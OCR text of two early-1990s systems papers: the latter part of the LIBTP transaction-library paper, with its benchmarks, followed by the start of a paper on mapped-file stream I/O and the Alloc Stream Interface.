log faster than the log disk can accept data, then group commit will increase the commit rate.

4.3. Kernel Intervention for Synchronization

Since LffiTP uses data in shared memory (e.g. the lock table and buffer pool) it must be possible for a process
to acquire exclusive access to shared data in order to prevent corruption. In addition, the process manager must put
processes to sleep when the lock or buffer they request is in use by some other process. In the LIBTP implementa-
tion under Ultrix 4.01, we use System V semaphores to provide this synchronization. Semaphores implemented in
this fashion tum out to be an expensive choice for synchronization, because each access traps to the kernel and exe­
cutes atomically there..

On architectures that support atomic test-and-set, a much better choice would be to attempt to obtain a spin­
lock with a test-and-set, and issue a system call only if the spinlock is unavailable. Since virtually all semaphores in
LffiTP are uncontested and are held for very short periods of time, this would improve performance. For example,
processes must acquire exclusive access to buffer pool metadata in order to find and pin a buffer in shared memory.
This semaphore is requested most frequently in LIBTP. However, once it is acquired, only a few instructions must

I Ultrix and DEC are trademarks of Digital Equipment Corporation.

16 USENIX - Winter '92



Seltzer, Olson LIBTP: Portable, Modular•..

be executed before it is released. On one architecture for which we were able to gather detailed profiling informa­
tion, the cost of the semaphore calls accounted for 25% of the total time spent updating the metadata. This was
fairly consistent across most of the critical sections.

In an attempt to quantify the overhead of kernel synchronization, we ran tests on a version of 4.3BSD-Reno
which had been modified to support binary semaphore facilities similar to those described in [POSIX91]. The
hardware platform consisted of an HP300 (33MHz MC68030) workstation with 16MBytes of main memory, and a
600MByte HP7959 SCSI disk (17 ms average seek time). We ran three sets of comparisons which are summarized
in figure five. In each comparison we ran two tests, one using hardware spinlocks and the other using kernel call
synchronization. Since the test was run single-user, none of the the locks were contested. In the first two sets of
tests, we ran the full transaction processing benchmark described in section 5.1. In one case we ran with both the
database and log on the same disk (1 Disk) and in the second, we ran with the database and log on separate disks (2
Disk). In the last test, we wanted to create a CPU bound environment, so we used a database small enough to fit
completely in the cache and issued read-only transactions. The results in figure five express the kernel call syn­
chronization performance as a percentage of the spinlock performance. For example, in the 1 disk case, the kernel
call implementation achieved 4.4 TPS (transactions per second) while the semaphore implementation achieved 4.6
TPS, and the relative performance of the kernel synchronization is 96% that of the spinlock (100 * 4.4 / 4.6). There
are two striking observations from these results:

• even when the system is disk bound, the CPU cost of synchronization is noticeable, and

• when we are CPU bound, the difference is dramatic (67%).

4.4. Transaction Protected Access Methods

The B-tree and fixed length recno (record number) access methods have been modified to provide transaction
protection. Whereas the previously published interface to the access routines had separate open calls for each of the
access methods, we now have an integrated open call with the following calling conventions:

DB *dbopen (const char *file, int flags, int mode, DBTYPE type,
int dbflags, const void *openinfo)

where file is the name of the file being opened, flags and mode are the standard arguments to open(2), type is one of
the access method types, dbflags indicates the mode of the buffer pool and transaction protection, and openinfo is
the access method specific information. Currently, the possible values for dbflags are DB_SHARED and DB_TP

Throughput as a %
or Spinlock Throughput
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F1gure 5: Kernel Overhead for System Call Synchronization. The performance of the kernel call synchronization is expressed as a percentage

of the spinlock synchronization performance. In disk bound cases (1 Disk and 2 Disks). we see that 4-6% of the perfonnance is lost due to kernel

calls while in the CPU bound case. we have lost 67% of the perfonnance due to kernel calls.
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indicating that buffers should be kept in a shared buffer pool and that the file should be transaction protected.
The modifications required to add transaction protection to an access method are quite simple and locaIized.

1. Replace file open with but_open.
2. Replace file read and write calls with buffer manager calls (bu!_get, but_unpin).
3. Precede buffer manager calls with an appropriate (read or write) lock call.
4. Before updates, issue a logging operation.
5. After data have been accessed, release the buffer manager pin.
6. Provide undo/redo code for each type of log record defined.

The following code fragments show how to transaction protect several updates to a B-tree.2 In the unprotected case,
an open call is followed by a read call to obtain the meta-data for the B-tree. Instead, we issue an open to the ~uffer

manager to obtain a file id and a buffer request to obtain the meta-data as shown below.
char *path;
int fid, flags, len, mode;

/* Obtain a file id with which to access the buffer pool */
fid = buf_open(path, flags, mode);

/* Read the meta data (page 0) for the B-tree */
if (tp_lock(fid, 0, READ_LOCK»

return error;
meta_data-ptr = buf_get(fid, 0, BF_PIN, &len);

The BF_PIN argument to but_get indicates that we wish to leave this page pinned in memory so that it is not
swapped out while we are accessing it. The last argument to but_get returns the number of bytes on the page that
were valid so that the access method may initialize the page if necessary.

Next, consider inserting a record on a particular page of a B-tree. In the unprotected case, we read the page,
call_bt_insertat, and write the page. Instead, we lock the page, request the buffer, log the change, modify the page,
and release the buffer.

int fid, len, pageno;
int index;
DBT *keyp, *datap;
DATUM *d;

/* Identifies the buffer */
/* Location at which to insert the new pair */
/* Key/Data pair to be inserted */
/* Key/data structure to insert */

/* Lock and request the buffer */
if (tp_lock(fid, pageno, WRITE_LOCK»

return error;
buffer-ptr = buf_get(fid, pageno, BF_PIN, &len);

/* Log and perform the update */
log_insdel(BTREE_INSERT, fid, pageno, keyp, datap);
_bt_insertat(buffer-ptr, d, index);
buf_unpin(buffer-ptr);

Succinctly, the algorithm for turning unprotected code into protected code is to replace read operations with lock
and but_get operations and write operations with log and but_unpin operations.

5. Performance

In this section, we present the results of two very different benchmarks. The first is an online transaction pro­
cessing benchmark, similar to the standard TPCB, but has been adapted to run in a desktop environment. The
second emulates a computer-aided design environment and provides more complex query processing.

:1 The following code fragments are examples, but do not define the final interface. The final interface will be determined after LIBTP has
been fully integrated with the most recent db(3) release from the Computer Systems Research Group at University of California, Berkeley.
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5.1. Transaction Processing Benchmark

For this section, all performance numbers shown except for the commercial database system were obtained on
a OECstation 5000/200 with 32MBytes of memory running Ultrix V4.0, accessing a DEC RZ57 IGByte disk drive.
The commercial relational database system tests were run on a comparable machine, a Sparcstation 1+ with
32MBytes memory and a IGByte external disk drive. The database, binaries and log resided on the same device.
Reported times are the means of five tests and have standard deviations within two percent of the mean.

The test database was configured according to the TPCB scaling rules for a 10 transaction per second (TPS)
system with 1,000,000 account records, 100 teller records, and 10 branch records. Where TPS numbers are
reported, we are running a modified version of the industry standard transaction processing benchmark, TPCB. The
TPCB benchmark simulates a withdrawal performed by a hypothetical teller at a hypothetical bank. The database
consists of relations (files) for accounts, branches, tellers, and history. For each transaction, the account, teller, and
branch balances must be updated to reflect the withdrawal and a history record is written which contains the account
id, branch id, teller id, and the amount of the withdrawal [TPCB90].

Our implementation of the benchmark differs from the specification in several aspects. The specification
requires that the database keep redundant logs on different devices, but we use a single log. Furthermore, all tests
were run on a single, centralized system so there is no notion of remote accesses. Finally, we calculated throughput
by dividing the total elapsed time by the number of transactions processed rather than by computing the response
time for each transaction.

The performance comparisons focus on traditional Unix techniques (unprotected, using flock(2) and using
rsync(2» and a commercial relational database system. Well-behaved applications using flock(2) are guaranteed
that concurrent processes' updates do not interact with one another, but no guarantees about atomicity are made.
That is, if the system crashes in mid-transaction, only parts of that transaction will be reflected in the after-crash
state of the database. The use of rsync(2) at transaction commit time provides guarantees of durability after system
failure. However, there is no mechanism to perform transaction abort.

5.1.1. Single-User Tests

These tests compare LIBTP in a variety of configurations to traditional UNIX solutions and a commercial
relational database system (ROBMS). To demonstrate the server architecture we built a front end test process that
uses TCL [OUST90] to parse database access commands and call the database access routines. In one case
(SERVER), frontend and backend processes were created which communicated via an IP socket. In the second case
(TCL), a single process read queries from standard input, parsed them, and called the database access routines. The
performance difference between the TCL and SERVER tests quantifies the communication overhead of the socket
The ROBMS implementation used embedded SQL in C with stored database procedures. Therefore, its
configuration is a hybrid of the single process architecture and the server architecture. The graph in figure six shows
a comparison of the following six configurations:

LIBTP
TCL
SERVER
NOTP
FLOCK
FSYNC
ROBMS

Uses the LIBTP library in a single application.
Uses the LIBTP library in a single application, requires query parsing.
Uses the LIBTP library in a server configuration, requires query parsing.
Uses no locking, logging, or concurrency control.
Uses flock(2) for concurrency control and nothing for durability.
Uses rsync(2) for durability and nothing for concurrency control.
Uses a commercial relational database system.

The results show that LffiTP, both in the procedural and parsed environments, is competitive with a commer­
cial system (comparing LffiTP, TCL, and ROBMS). Compared to existing UNIX solutions, LIBTP is approximately
15% slower than using flock(2) or no protection but over 80% better than using rsync(2) (comparing LIBTP,
FLOCK, NOTP, and FSYNC).

5.1.2. Multi-User Tests

While the single-user tests form a basis for comparing LIBTP to other systems, our goal in multi-user testing
was to analyze its scalability. To this end, we have run the benchmark in three modes, the normal disk bound
configuration (figure seven), a CPU bound configuration (figure eight, READ-ONLY), and lock contention bound
(figure eight, NO_FSYNC). Since the normal configuration is completely disk bound (each transaction requires a
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Figure 6: Single-User Performance Comparison.

random read, a random write, and a sequential write3) we expect to see little perfonnance improvement as the mul­
tiprogramming level increases. In fact, figure seven reveals that we are able to overlap CPU and disk utilization
slightly producing approximately a 10% perfonnance improvement with two processes. After that point, perfor­
mance drops off, and at a multi-programming level of 4, we are perfonning worse than in the single process case.

Similar behavior was reported on the commercial relational database system using the same configuration.
The important conclusion to draw from this is that you cannot attain good multi-user scaling on a badly balanced
system. If multi-user perfonnance on applications of this sort is important, one must have a separate logging device
and horizontally partition the database to allow a sufficiently high degree of multiprogramming that group commit
can amortize the cost of log flushing.

By using a very small database (one that can be entirely cached in main memory) and read-only transactions,
we generated a CPU bound environment. By using ,the same small database, the complete TPCB transaction, and no
fsync(2) on the log at commit, we created a lock contention bound environment. The small database used an
account file containing only 1000 records rather than the full 1,000,000 records and ran enough transactions to read
the entire database into the buffer pool (2000) before beginning measurements. The read-only transaction consisted
of three database reads (from the 1000 record account file, the 100 record teller file, and the 10 record branch file).
Since no data were modified and no history records were written, no log records were written. For the contention
bound configuration, we used the nonnal TPCB transaction (against the small database) and disabled the log flush.
Figure eight shows both of these results.

The read-only test indicates that we barely scale at all in the CPU bound case. The explanation for that is that
even with a single process, we are able to drive the CPU utilization to 96%. As a result, that gives us very little
room for improvement, and it takes a multiprogramming level of four to approach 100% CPU saturation. In the
case where we do perform writes, we are interested in detecting when lock contention becomes a dominant perfor­
mance factor. Contention will cause two phenomena; we will see transactions queueing behind frequently accessed
data, and we will see transaction abort rates increasing due to deadlock. Given that the branch file contains only ten
records, we expect contention to become a factor quickly and the NO-FSYNC line in figure eight demonstrates this
dramatically. Each additional process causes both more waiting and more deadlocking. Figure nine shows that in
the small database case (SMALL), waiting is the dominant cause of declining perfonnance (the number of aborts
increases less steeply than the perfonnance drops off in figure eight), while in the large database case (LARGE),
deadlocking contributes more to the declining performance.

:I Although the log is written sequentially, we do not get the benefit of sequentiality since the log and database reside on the same disk.
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Deadlocks are more likely to occur in the LARGE test than in the SMALL test because there are more oppor­
tunities to wail In the SMALL case, processes never do I/O and are less likely to be descheduled during a transac­
tion. In the LARGE case, processes will frequently be descheduled since they have to perform I/O. This provides a
window where a second process can request locks on already locked pages, thus increasing the likelihood of build­
ing up long chains of waiting processes. Eventually, this leads to deadlock.

5.2. The 001 Benchmark

The TPCB benchmark described in the previous section measures performance under a conventional transac­
tion processing workload. Other application domains, such as computer-aided design, have substantially different
access patterns. In order to measure the performance of LIBTP under workloads of this type, we implemented the
001 benchmark described in [CATI'91].

The database models a set of electronics components with connections among them. One table stores parts
and another stores connections. There are three connections originating at any given part. Ninety percent of these
connections are to nearby parts (those with nearby ids) to model the spatial locality often exhibited in CAD applica­
tions. Ten percent of the connections are randomly distributed among all other parts in the database. Every part
appears exactly three times in the from field of a connection record, and zero or more times in the to field. Parts
have x and y locations set randomly in an appropriate range.

The intent of 001 is to measure the overall cost of a query mix characteristic of engineering database applica­
tions. There are three tests:

• Lookup generates 1,000 random part ids, fetches the corresponding parts from the database, and calls a null
procedure in the host programming language with the parts' x and y positions.

• Traverse retrieves a random part from the database and follows connections from it to other parts. Each of
those parts is retrieved, and all connections from it followed. This procedure is repeated depth-first for seven
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hops from the original part, for a total of 3280 parts. Backward traversal also exists, and follows all connec­
tions into a given part to their origin.

• Insert adds 100 new parts and their connections.

The benchmark is single-user, but multi-user access controls (locking and transaction protection) must be
enforced. It is designed to be run on a database with 20,000 parts, and on one with 200,000 parts. Because we have
insufficient disk space for the larger database, we report results only for the 20,000 part database.

5.2.1. Implementation

The LIBTP implementation of 001 uses the TeL [OUST90] interface described earlier. The backend
accepts commands over an IP socket and performs the requested database actions. The frontend opens and executes
a TCL script This script contains database accesses interleaved with ordinary program control statements. Data­
base commands are submitted to the backend and results are bound to program variables.

The parts table was stored as a B-tree indexed by ide The connection table was stored as a set of fixed·length
records using the 4.4BSD recno access method. In addition, two B·tree indices were maintained on connection
table entries. One index mapped thefrom field to a connection record number, and the other mapped the to field to a
connection record number. These indices support fast lookups on connections in both directions. For the traversal
tests, the frontend does an index lookup to discover the connected part's id, and then does another lookup to fetch
the part itself.

5.2.2. Performance Measurements for 001

We compare LIBTP's 001 performance to that reported in [CATI9I]. Those results were collected on a Sun
3/280 (25 MHz MC68020) with 16 MBytes of memory and two Hitachi 892MByte disks (15 ms average seek time)
behind an SMD-4 controller. Frontends ran on an 8MByte Sun 3/2f:IJ.

In order to measure performance on a machine of roughly equivalent processor power, we ran one set of tests
on a standalone MC68030-based HP300 (33MHz MC68030). The database was stored on a 300MByte HP7959
SCSI disk (17 ms average seek time). Since this machine is not connected to a network, we ran local tests where the
frontend and backend run on the same machine. We compare these measurements with Cattell's local Sun 3/280
numbers.

Because the benchmark requires remote access, we ran another set of tests on a DECstation 5000/200 with
32M of memory running U1trix V4.0 and a DEC IGByte RZ57 SCSI disk. We compare the local performance of
001 on the DECstation to its remote performance. For the remote case, we ran the frontend on a DECstation 3100
with 16 MBytes of main memory.

The databases tested in [CATI91] are

• INDEX, a highly-optimized access method package developed at Sun Microsystems.

• OODBMS, a beta release of a commercial object-oriented database management system.

• RDBMS, a UNIX-based commercial relational data manager at production release. The 001 implementation
used embedded SQL in C. Stored procedures were defined to reduce client-server traffic.

Table two shows the measurements from [CATI9I] and LIBlP for a local test on the MC680xO-based
hardware. All caches are cleared before each test All times are in seconds.

Table two shows that LIBTP outperforms the commercial relational system, but is slower than OODBMS and
INDEX. Since the caches were cleared at the start of each test, disk throughput is critical in this test. The single
SCSI HP drive used by LIBlP is approximately 13% slower than the disks used in [CATI91] which accounts for
part of the difference.

OODBMS and INDEX outperform LIBTP most dramatically on traversal. This is because we use index look­
ups to find connections, whereas the other two systems use a link access method. The index requires us to examine
two disk pages, but the links require only one, regardless of database size. Cattell reports that lookups using B·trees
instead of links makes traversal take twice as long in INDEX. Adding a link access method to db(3) or using the
existing hash method would apparently be a good idea.

Both OODBMS and INDEX issue coarser-granularity locks than LIBlP. This limits concurrency for multi­
user applications, but helps single-user applications. In addition, the fact that LIBTP releases B-b'ee locks early is a
drawback in 001. Since there is no concurrency in the benchmark, high-concurrency strategies only show up as
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Measure INDEX OODBMS RDBMS LIBTP
Lookup 5.4 12.9 27 27.2
Traversal 13 9.8 90 47.3
Insert . 7.4 1.5 22 9.7

Table 2: Local MC680xO Performance of Several
Systems on 001.

LIBTP: Portable, Modular...

Measure Cache Local Remote
Lookup cold 15.7 20.6

wann 7.8 12.4
Forward traversal cold 28.4 52.6

wann 23.5 47.4
Backward traversal cold 24.2 47.4

wann 24.3 47.6
Insert cold 7.5 10.3

wann 6.7 10.9

Table 3: Local vs. Remote Performance of
LIBTP on 001.

increased locking overhead. Finally, the architecture of the LIBTP implementation was substantially different from
that of either OODBMS or INDEX. Both of those systems do the searches in the user's address space, and issue
requests for pages to the server process. Pages are cached in the client, and many queries can be satisfied without
contacting the server at all. LffiTP submits all the queries to the server process, and receives database records back;
it does no client caching.

The RDBMS architecture is much closer to that of LIBTP. A server process receives queries and returns
results to a client. The timing results in table two clearly show that the conventional database client/server model is
expensive. LffiTP outperforms the RDBMS on traversal and insertion. We speculate that this is due in part to the
overhead of query parsing, optimization, and repeated interpretation of the plan tree in the RDBMS' query executor.

Table three shows the differences between local and remote execution of LIBTP's 001 implementation on a
DECstation. We measured performance with a populated (warm) cache and an empty (cold) cache. Reported times
are the means of twenty tests, and are in seconds. Standard deviations were within seven percent of the mean for
remote, and two percent of the mean for local.

The 20ms overhead of TCP/IP on an Ethernet entirely accounts for the difference in speed. The remote
traversal times are nearly double the local times because we do index lookups and part fetches in separate queries.
It would make sense to do indexed searches on the server, but we were unwilling to hard-code knowledge of 001
indices into our LIBTP TCL server. Cold and warm insertion times are identical since insertions do not benefit from
caching.

One interesting difference shown by table three is the cost of forward versus backward traversal. When we
built the database, we inserted parts in part id order. We built the indices at the same time. Therefore, the forward
index had keys inserted in order, while the backward index had keys inserted more randomly. In-order insertion is
pessimal for B-tree indices, so the forward index is much larger than the backward one4• This larger size shows up
as extra disk reads in the cold benchmark.

6. Conclusions

LIBTP provides the basic building blocks to support transaction protection. In comparison with traditional
Unix libraries and commercial systems. it offers a variety of tradeoffs. Using complete transaction protection is
more complicated than simply adding fsync(2) and ftock(2) calls to code, but it is faster in some cases and offers
stricter guarantees (atomicity, consistency, isolation, and durability). If the data to be protected are already format­
ted (i.e. use one of the database access methods)t then adding transaction protection requires no additional complex­
ity, but incurs a performance penalty of approximately 15%.

In comparison with commercial database systems, the tradeoffs are more complex. LIBTP does not currently
support a standard query language. The TeL-based server process allows a certain ease of use which would be
enhanced with a more user-friendly interface (e.g. a windows based query-by-fonn application), for which we have

.. The next release of the 4.4BSD access method will automatically detect and compensate for in-order insertion. eliminating this problem.
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a working prototype. When accesses do not require sophisticated query processing, the TCL interface is an ade­
quate solution. What LIBTP fails to provide in functionality, it makes up for in performance and flexibility. Any
application may make use of its record interface or the more primitive log, lock, and buffer calls.

Future work will focus on overcoming some of the areas in which LmTP is currently deficient and extending
its transaction model. The addition of an SQL parser and forms front end will improve the system's ease of use and
make it more competitive with commercial systems. In the long term, we would like to add generalized hierarchical
locking, nested transactions, parallel transactions, passing of transactions between processes, and distributed commit
handling. In the short term, the next step is to integrate LffiTP with the most recent release of the database access
routines and make it freely available via anonymous ftp.
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Abstract

A new approach for providing user level support for fast stream I/O is motivated by four factors
common to most modern systems: 1) the capability of the operating system to support mapped files, 2)
the increasing number of applications that use threads, 3) the increasing discrepancy between processor
speed and disk latency, and 4) the increasing amount of available main memory.

In this paper, we first describe the advantages and disadvantages of using mapped files to support
stream access to files, and then describe a new interface, the Alloc Stream Interface (ASI), that allows for
improved performance over existing stream interfaces. A library that supports ASI has been implemented
on several systems (including IRIX and SunOS). In addition, the Stdio library has been re-implemented
to use ASI. Significant performance advantages are demonstrated for Stdio applications that are linked
to this new library and particularly for applications that are modified to use ASI directly. For example,
on typical Unix platforms, some standard I/O intensive utilities are shown to run up to twice as fast
when re;linked to use this library and up to three times as fast when converted to use ASI.

1 Introduction

In Unix, applications access files by using the Unix I/O interface (Le. read, write, ... ). A major reason
for the success of Unix is that the Unix I/O interface is used uniformly for all I/O. A uniform interface is
important so that a program can be written to be independent of the type of data sources and sinks with
which it is communicating. However, there are two main disadvantages with the Unix I/O interface: Firstly,
as the interface definition now stands, an excessive number of system calls will result if a user process accesses
a file with many small read and write operations. Secondly, the user supplies a private buffer into which
data should be read, or from which data should be written. This can result in a large performance cost when
data is copied to and from the system buffers.

To reduce the number of interactions with the operating system, the Stdio run-time library buffers data
in the application's address space (refer to Figure 1.1) and thus amortizes the cost of interactions with the
operating system over several application requests. However, buffering at the user level introduces yet another
layer of copying, namely between the library and application buffers. Moreover, most implementations of
Stdio are not re-entrant, and of the few that are re-entrant, we are not aware of any that allow more than
one thread to concurrently access data from a single stream.

Since the speed of file I/O is so crucial to the performance of many applications, most modern operating
systems support mapped files1 where a file can be bound to a virtual address space such that a reference to
memory is effectively a reference to the corresponding location in the file. As discussed in Section 2, mapped
file I/O can result in less copying of data between different buffers, and can allow for different threads in
an application to concurrently access different parts of the same file. However, the main disadvantage of
mapped file I/O is that it cannot provide a uniform interface for all I/O; for example, it cannot be used for
I/O to terminals or network connections (Le. sockets).

To incorporate some of the advantages of mapped files while preserving the advantages of uniformity that
a byte-oriented stream interface provides, the Stdio and Unix I/O interfaces can be implemented by a user

1For example, Mach [ABB+S6), AIX [Mis90), Hurricane [SUK) ...
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Implemented using Unix 110
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Emulated Unix 110 Implemented
using Mapped Flies
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1.3 The MSIO library: Stdlo and Emulated
Unix 110 Implemented using ASI

Figure 1: Layers of interaction between Stdio, Unix I/O and AS/. Lightly shaded blocks are user level libraries. Dark
shaded boxes indicate interfaces stJpported by the operating system.

level library that whenever possible uses mapped files, as shown in Figure 1.2. This approach is referred to
as Mapped Stream I/O (MSIO) and is discussed in Section 3. To differentiate between the Unix I/O interface
supported by the operating system and a similar interface supported by a user level library, we refer to the
latter as Emulated Unix I/O. Emulated" Unix I/O has the disadvantage that the full Unix I/O semantics
(e.g. shared file semantics) cannot be supported by a user level library. However, these semantics are not
supported by most distributed file systems [LS90]. Moreover, significant performance gains can be obtained
by having file servers support only block oriented operations, as discussed in [Che87].

The primary contribution of this paper is the definition of a new I/O interface, called the Alloc Stream
Interface (ASI) that improves on the Stdio and emulated Unix I/O interfaces by significantly reducing the
amount of data copying that is necessary. The Stdio and Unix I/O interfaces force the library (or operating
system) to copy data into a buffer specified by the application. In contrast, ASI provides the application
access to the internal buffers (mapped regions) of the library. With ASI, on a read operation, the underlying
library returns to the application a pointer to a region of memory containing the requested data, and on a
write operation, the library returns a pointer to a region where the data should be put. ASI has a number
of advantages, especially when implemented using MSIO:

1. Overhead (Le. cost not associated with disk I/O) is greatly reduced. Whenever an I/O request can
be serviced directly from the file cache, with Stdio and Unix I/O most of the I/O overhead is due to
copying data between various system, library and user buffers. Since MSIO uses mapped files, there is
no copying of data between the system and library buffers. Moreover, since with ASI the application
is given access to the mapped regions maintained by the library, there is no copying of data between
library and application buffers. This advantage is becoming increasingly important, since more and
more memory is being made available for file caching.

2. Threads in a multi-threaded application [Jon91] can concurrently access a stream. The behaviour of
ASI operations are well defined regardless of the number of threads accessing a stream. Also, the
stream is only locked when the library's internal data structures are being modified, since with ASI
data does not have to be copied to or from user buffers. Hence, data is accessed by the application
while the stream is unlocked, which allows the I/O requests of multiple threads to the same stream to
be sent concurrently to the file system.

3. The interface is simple and easy to use. As we describe in Section 4, ASI is closely modeled on the
Unix memory allocation interface (i.e. malloc, rea11oc, free ), providing programmers an interface
they are already familiar with. Our experience indicates that in most cases it is just as easy to write
an application using ASI as it is using the Unix I/O or Stdio interfaces.

A library, called the Mapped Stream I/O (MSIO) library has been implemented on several systems
including IRIX and SunOS. This library uses the MSIO approach to support the Alloc Stream Interface.
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SunOS 4.1.1 SunOS 4.0 IRIX
command option pages KBytes pages KBytes pages KBytes

read 1.47 5.90 0.68 5.48 2.03 8.13
mmapr 1.89 7.55 2.22 17.78 5.62 22.47
mod 0.63 2.51 0.05 0.38 1.11 4.43
mmapw 1.91 7.64 2.08 16.67 4.25 16.88
write page 1.19 4.77 0.06 0.45 2.34 9.39

byte 5.46 21.83 4.17 33.33 5.13 20.51

Table 1: Measured performance of mapped files versus Unix I/O on SunOS 4.1.1, SunOS 4.0 and IRIX.
Performance numbers are in pages or KBytes per millisecond (i.e. the larger the number the better). The
Sun OS 4.1.1 system and the IRIX system have -IKByte pages. The Sun OS -1.0 system has 8KByte pages.

As shown in Figure 1.3, the MSIO library also supports the Stdio and emulated Unix I/O interfaces, which
are implemented on top of ASI. Applications that use this library can freely intersperse calls to all three
interfaces even if they are directed to the same stream. This allows application programmers to get the full
performance advantage of ASI by rewriting just the I/O intensive parts of the application.

In related work, the Sfio library [KV91] is a replacement library for Stdio. As well as providing a much
more consistent, powerful and natural interface than Stdio, Sfio uses algorithms that are more efficient than
those used by typical Stdio implementations and uses mapped file I/O for reading from files. Moreover, Sfio
provides an operation, called sfpeekO, that allows applications access to the internal buffers of the library.

Our work differs from Sfio in that: 1) it is better suited for multi-threaded environments, due to the
re-entrant nature of the library, and the short periods of time locks need to be held, 2) the MSIO library
can make use of mapped files in more situations, and 3) it provides a more versatile interface for accessing
library buffers. .

This paper is structured as follows. In the following section, the advantages and disadvantages of mapped
file I/O over Unix I/O are described. The section contains performance numbers as measured on several
typical Unix systems. Section 3 describes the MSIO approach in detail, and Section 4 describes ASI. Section 5
describes the current implementation of the MSIO library. Finally, Section 5.4 compares the performance
of applications linked to the standard system libraries against the performance of these same applications
re-linked to use the MSIO library, and re-written to use ASI. We close with a discussion of future directions.

2 Mapped File 1/0

In this section, we first present the result of some simple experiments on SunOS and IRIX systems, and then
discuss the advantages and disadvantages of mapped file I/O over Unix I/O in the context of these numbers.

The mmap/munmap [JCF+83] interface is a typical interface for mapping files into an address space. Mmap
takes as parameters the file number, protection flags, the length of the region to be mapped, and an offset
into a file. It returns a pointer to the mapped region. Munmap accepts as parameters the address and length
of the mapped region. This interface will be assumed throughout this paper.

Measured performance numbers for some simple programs on three different systems are shown in Table 1.
Experiment read accesses a large file (3MBytes) by using read operations that read the entire page from a
page aligned portion of the file into a page aligned buffer.2 Experiment mmapr maps in an entire file, and
then touches each page to cause a page fault. Experiment mod, for each page in the file, reads the page,
seeks back to the beginning of the page and then writes it. Experiment mmapw maps in an entire file and
then modifies one byte in each page. Experiment write writes each page in a file either by writing the entire
page, or by writing one byte and then seeking to the next page. Note that these performance numbers were
measured on very different hardware platforms (the SunOS 4.0.3 system is a Sun 4/280S, the SunOS 4.1.1
system is a Sun 4/40 and the IRIX system is a SGI Iris 4D/240S) and therefore only allow a comparison

2 It is fair to compare a read of an entire page to a touch of a mapped page, since these correspond to the system cost to get
a page of data into the application address space.
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between different experiments on the same system. All experiments where performed many times, with the
minimum number chosen. This reflects best the measure of the performance when all data being accessed is
in the file cache.

As can be seen from the table, using mapped files for reading is nearly three times as fast as using Unix
read operations on both the IRIX and SunOS 4.0 systems. Also, the system cost of modifying a page using
mapped files is substantially less than if the page is read and written with Unix I/O. Finally, the system cost
for modifying a mapped page is substantially less than writing the entire page. However, the performance
improvements with mapped file I/O need not always be as significant. For example, on the Sun OS 4.1.1
system, mapped files are only 20% faster than read operations for reading from a file.3 Also, if only a small
amount of data is being written (and the application does not require the previous contents of the data) the
combination of doing write and lseek operations seems very effective on all three systems.

2.1 Advantages of Mapped File I/O

Using mapped files has a number of advantages:

Copying Overhead: With mapped files, data need never be copied between system and user buffers. The
processor time saved by not copying data is responsible for most of the performance advantage shown
in Table 1. However, there are hidden advantages not evident in these numbers. As observed in [CK91],
copying data can cause memory contention, which can be very important in the case of multiprocessor
systems or if high bandwidth I/O devices are concurrently trying to DMA data to the system. Also,
when data is copied through the processor cache, a large portion of the cache context may be lost.

It is possible for a smart application and operating system implementation to obtain similar advantages
using the Unix I/O interface. For example, if the application always uses a page aligned region of
memory for accessing a page aligned portion of a file, and if the amount of data being accessed is
a multiple of the page size, then the as can bind the portion of the file into the application space
copy-on-write. However, in practice, this entails an excessive increase in complexity for most user
applications. Although system utilities and library packages (e.g. Stdio) could be written to use this
approach, the resulting performance may still not be as good as is the case for mapped file I/O. For
example, if a file is being modified rather than written in its entirety, with Unix I/O the application
must do a read operation to get the data to be modified, modify the data (which will cause a page
fault if the data is mapped copy-on-write) and then perform a write operation. Using mapped files,
the application need only map in the data and then modify it.

Interactions with the Operating System: When mapped file I/O is used, applications generally map
large portions of a file into their address space; if it turns out that the application accesses a small
amount of the data, only pages actually touched will be read from the file system. In contrast, if Unix
I/O is used, the application must be pessimistic about the amount of data it will require, since a read
operation incurs the I/O cost when invoked. Therefore, with mapped files, the number of system calls
is greatly reduced over if Unix I/O is used. However, the cost of a page fault is incurred every time a
new mapped page is accessed.

The cost of a page fault is generally greater than the cost of a read or a write system call (not
including the copy of data) on systems where all functions of the operating system are provided by
a single monolithic kernel. This is shown in Table 1, since the cost of experiment mmapw is greater
than the single byte wite experiment. However, the cost of a page fault may be less than a read
or a write operation on micro-kernel based operating systems, such as V [CheSS], Mach [ABB+S6]
or Hurricane [SUK] 4. For example, on Hurricane, page faults are handled by the micro-kernel with
no communication to the file servers if the data is already in the file cache, resulting in a substantial
performance gain.

3 It is interesting to note that read performance on this system becomes much worse when files greater then 4MBytes are
accessed, therefore, the relative performance of mmap looks better for these files.

• Hurricane is an experimental operating system designed to study scalability issues for large scale multiprocessors. It is the
operating system used on the Hector multiprocessor [VSWL91)
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Concurrency of Reads: With mapped files, the mapping operation is independent from the actual faulting
for the data. Therefore, if several application threads access the same mapped region, each thread may
independently cause a page fault that initiates an I/O operation to disk. This allows the application
to exploit high bandwidth file systems (e.g. if disk I/O is spread across many disks [PGK88, FPD91]).

Reduced Memory Usage: When an application uses Unix I/O, there are often multiple copies of the
same data resident in memory, since data is copied from the file cache to application specific buffers.
This can result in paging or swapping activity. In contrast, if mapped file I/O is used, no extra copies
of the data are made, so the system memory is used more effectively. Moreover, in the case where
there is insufficient main memory, if the data in the file cache is not modified it does not need to be
paged out, since the data is already on disk, whereas with Unix I/O, the copy of the file data read in
the application address space must be paged out to disk.

Shared file access: With mapped files, two programs accessing the same file will share the same physical
memory pages. Therefore, programs can actively share file data and, for example, directly share
synchronization variables in the file.

2.2 Disadvantages of Mapped File I/O

The specific implementation of the operating system or even the hardware may have a large impact on the
performance of mapped file I/O relative to that for Unix I/O. For example, if the cost of a page fault is very
expensive, the performance of mapped files will compare unfavorably to the performance of Unix I/O. One
instance where page faults are expensive is on operating systems that require that the processor cache be
flushed or invalidated on each page fault.

Page size may also have a dramatic impact on performance. Small page sizes increase the number of
page faults that will occur when mapped files are used. On the other hand, large page sizes can result in
superfluous I/O.

Another disadvantage of using mapped file I/O is that some operating systems will zero-fill the page on
the first access to a new file block. Therefore, even in the case that the application will modify the the entire
page, the cost of the zero-fill will be incurred. One way many operating systems reduce this expense is to
maintain a list of pre-zeroed pages. This cost can be entirely eliminated if the operating system allows the
application to map files such that pages are not pre-zeroed.

When an application uses Unix I/O, the operating system generally pre-fetches data on sequential reads
to a file, thus reducing the user visible latency of the file system. Although some operating systems do
not directly pre-fetch data in the case of mapped files, several operating systems do provide an interface to
advise the operating system that mapped data will soon be accessed (e.g. SunOS has the madviseO system
call). In effect, this is more powerful than having the operating system implicitly pre-fetch pages, since it
